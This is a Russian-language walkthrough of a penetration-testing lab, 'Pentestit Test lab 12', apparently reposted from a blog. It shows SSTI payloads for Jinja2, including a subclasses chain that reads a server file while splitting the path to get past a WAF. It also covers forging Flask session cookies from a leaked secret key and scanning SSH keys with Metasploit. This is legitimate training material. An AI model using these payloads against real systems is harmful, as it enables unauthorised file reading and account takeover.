Так. В файле /etc/hosts есть еще my.test.lab, куда мы еще не ходили. Форма авторизации. У нас есть пользователи info, sviridov и medvedev. Успешно заходим под info. Есть строка поиска. На запрос токена нам выдают пять картинок с пони. Ничего нет, Просканируем. При использовании wapiti нас банят. При некоторых запросах для проверки SQL-inj и XSS также получаем бан. Отправляем простой запрос для тестирования SSTI: {{7*7}}. И код выполнился, так как в ответе мы получили 49.

image

Осталось определить шаблонизатор, который используется на сервере. Это необходимо для того, чтобы знать с каким окружением (переменные, функции, константы и т. п.) работать. Это можно легко сделать по следующей схеме.

image

Уже знаем, что это Jinja2 или Twig. Поэтому отправляем следующий запрос: {{7*“7“}}. Получаем положительный ответ. Это питоновский шаблонизатор Jinja2, что легко подтверждается запросом {{self}}.

image

image

Просмотрим конфигурации: {{config}}. Там находим секретный ключ, который и является токеном.

image

API token

Из документации узнаем, что jinja2 формирует куки в зависимоти от секретного ключа сервера. Для эксплуатации уязвимости нам понадобится скрипт flask-session-cookie-manager. Нам нужно проверить подойдет ли этот секретный ключ. Для этого нам нужно попытаться расшифровать на нем сессию пользователя info. Куки свободно расшифровывается.

image

Зная формат куки, мы теперь можем войти под любым пользователем. Для этого необходимо также сгенерировать куки. После долгих неудач, заметил корреляцию среднего блока и системного времени. Меняем дату, пока не совпадет начало среднего блока. Дошел до 2060 года. Генерировал пользователей token и sviridov, но это ничего не дает, поэтому решил сгенерировавать для admin. После успешной подмены куки получаем какие-то секретные ключи пользователей, для чего они так и не понял.

image

Дальше уходит три дня для поиска RCE (удаленное выполнение кода) через SSTI. Дело в том, что мы можем оперировать только подгруженным на сервере модулям и функциям из них. Для начала узнаем каке функции есть. Это сделаем через flask-cookie.

{{"".__class__.__mro__[1].__subclasses__()}}

Вставляем в куки, обновляем страницу и видим, что вместо имени пользователя отобразились все загруженные классы python на сервере. Среди них есть Popen, что позволит нам читать файлы на сервере.

image

image

Теперь осталось прочитать файл по пути /var/www/api/token. К классу мы будем обращаться по индексу (у popen это 94). B нем мы вызовем функцию open, чтобы открыть файл (путь к файлу разобьем, иначе WAF фильтрует) и прочитаем функцией read().

{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}

В качестве вывода получим файл в виде набора байт, которые скопируем, откроем интерпретатор python и вставим в качестве строки. Далее эту строку запишем в файл. Просмотрим тип файла в утилите file. Это *tar.gz архив. Открываем и забираем токен.

Изображения

image

image

image

image

Admin token

Осталось последнее задание. В архиве хранится ключ для подключения по ssh. Из анализа SIEM можно узнать, на какой хост подключаться.

image

Первым делом необходимо настроить права доступа на ключ, так как при подключении это проверяется (должно быть 600). Далее подключаемся, но нам сообщают, что доступ закрыт и ошибка в ключе.

image

При просмотре формата ключа, замечаем что его содержимое не соответствует полному файлу. Для этого нам необходима аутентификационная информация, который мы приняли при установлении соединения и SHA хеш, который можно взять в SIEM.

image

Старый и новый сертификаты

image

Но теперь при попытке подключиться, под Свиридовым (он же админ), нам говорят, что ключ не подходит. Нужно перебрать всех пользователей, которых мы уже имеем.

image

Для тестирования ключа и пользователей используем модуль metasploit framework – scanner/ssh/ssh_login_pubkey. И как видим, это ключ пользователя sidorov.

image

Найдем в файловой системе token.

find | grep token

Дальше проверяем права и сдаем токен.

image

Заключение

Вот и пройдена пентест-лаборатория «Pentestit Test lab 12».

image

Хочется сказать большое спасибо организаторам данной лаборатории, но некоторые задания были больше для CTF нежели для тестирования на проникновения. Надеюсь данная статья поможет кому-то узнать и открыть для себя что-то новое, а кому-то напомнит тот момент, когда он сам проходил данную лабораторию от токена к токену. Теперь ждем 13-ю…

Автор: RalfHacker

Источник


* - обязательные к заполнению поля